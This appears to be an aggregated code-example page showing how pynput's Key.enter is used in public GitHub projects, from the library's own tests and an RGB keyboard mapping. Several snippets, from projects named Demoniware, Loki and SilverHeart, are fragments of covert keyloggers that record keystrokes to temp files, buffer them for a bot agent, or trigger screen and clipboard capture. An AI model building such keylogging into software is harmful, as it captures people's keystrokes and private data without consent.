How to use the pynput.keyboard.Key.enter function in pynput

To help you get started, we’ve selected a few pynput examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github moses-palmer / pynput / tests / keyboard_listener_tests.py View on Github external
def test_enter(self):
        """Tests that the enter key can be tapped"""
        self.notify('Press ')
        self.assert_keys(
            'Failed to register event',
            (pynput.keyboard.Key.enter, True))
github moses-palmer / pynput / tests / keyboard_controller_tests.py View on Github external
def test_controller_events(self):
        """Tests that events sent by a controller are received correctly"""
        with self.assert_event(
                'Failed to send press',
                on_press=lambda k: getattr(k, 'char', None) == u'a'):
            self.controller.press(u'a')
        with self.assert_event(
                'Failed to send release',
                on_release=lambda k: getattr(k, 'char', None) == u'a'):
            self.controller.release(u'a')

        self.controller.press(pynput.keyboard.Key.enter)
        self.controller.release(pynput.keyboard.Key.enter)
        input()
github moses-palmer / pynput / tests / keyboard_controller_tests.py View on Github external
while reader.running:
                data.append(sys.stdin.readline()[:-1])
        reader.running = True

        # Start the thread
        thread = threading.Thread(target=reader)
        thread.start()

        # Run the code block
        try:
            yield lambda: tuple(self.decode(''.join(data)))

        finally:
            # Send a newline to let sys.stdin.readline return in reader
            reader.running = False
            self.controller.press(pynput.keyboard.Key.enter)
            self.controller.release(pynput.keyboard.Key.enter)
            thread.join()
github mthbernardes / Demoniware / Demoniware.py View on Github external
def on_press(key):
	if sys.platform == 'win32':
		file = os.environ.get('TEMP')+'\\'+'keylogger.txt'
	elif sys.platform == 'linux' or sys.platform == 'linux2':
		file = '/tmp/keylogger.txt'
	with open(file,'a') as saida:
		if key == Key.space:
			saida.write(' ')
		elif key == Key.enter:
			saida.write('\n')
		elif key == Key.tab:
			saida.write('\t')
		elif key == Key.esc:
			return False
		else:
			key = str(key)
			if 'Key' not in key:
				key = str(key).split("'")[1]
				saida.write(key)
github Pure-L0G1C / Loki / agent / bot / lib / keylogger.py View on Github external
def on_press(self, key):
        value = None
        if key == Key.backspace:
            if len(self.data):
                del self.data[-1]

        elif key == Key.tab:
            value = '\t'

        elif key == Key.enter:
            value = '\n'

        elif key == Key.space:
            value = ' '

        elif len(str(key)) == 3:
            value = self.check_for_shift(key)

        else:
            self.lastkey = key

        if value != None:
            self.data.append(value)
github steinslin / note / t.py View on Github external
def on_press (key):
  if key == Key.enter:
    print('enter')
    start_script()
github PedrV / SilverHeart / Windows / logger.py View on Github external
def on_release(key):
        logging.warning('---> {0} released'.format(key))
        # Turns off keylogger
        # if key == keyboard.Key.esc:
        #     return False
        if key == keyboard.Key.enter:
            capture.capture()
        if key == keyboard.Key.ctrl_l:
            # activate ctrl_V() only if clipboard content is text
            if win32clipboard.IsClipboardFormatAvailable(1) == 1:
                ctrl_V()
github RedFantom / python-rgbkeyboards / rgbkeyboards / keygroups.py View on Github external
Key.backspace: "backspace",
    Key.pause: "pause",
    Key.esc: "esc",
    Key.print_screen: "printscreen",
    Key.scroll_lock: "scrollock",
    Key.up: "up",
    Key.down: "down",
    Key.left: "left",
    Key.right: "right",
    Key.insert: "insert",
    Key.home: "home",
    Key.page_up: "pageup",
    Key.delete: "delete",
    Key.end: "end",
    Key.page_down: "pagedown",
    Key.enter: "enter",
    Key.f1: "F1",
    Key.f2: "F2",
    Key.f3: "F3",
    Key.f4: "F4",
    Key.f5: "F5",
    Key.f6: "F6",
    Key.f7: "F7",
    Key.f8: "F8",
    Key.f9: "F9",
    Key.f10: "F10",
    Key.f11: "F11",
    Key.f12: "F12",
}

pynput_rgb_keys.update({KeyCode(char=item): item for item in alphanumeric})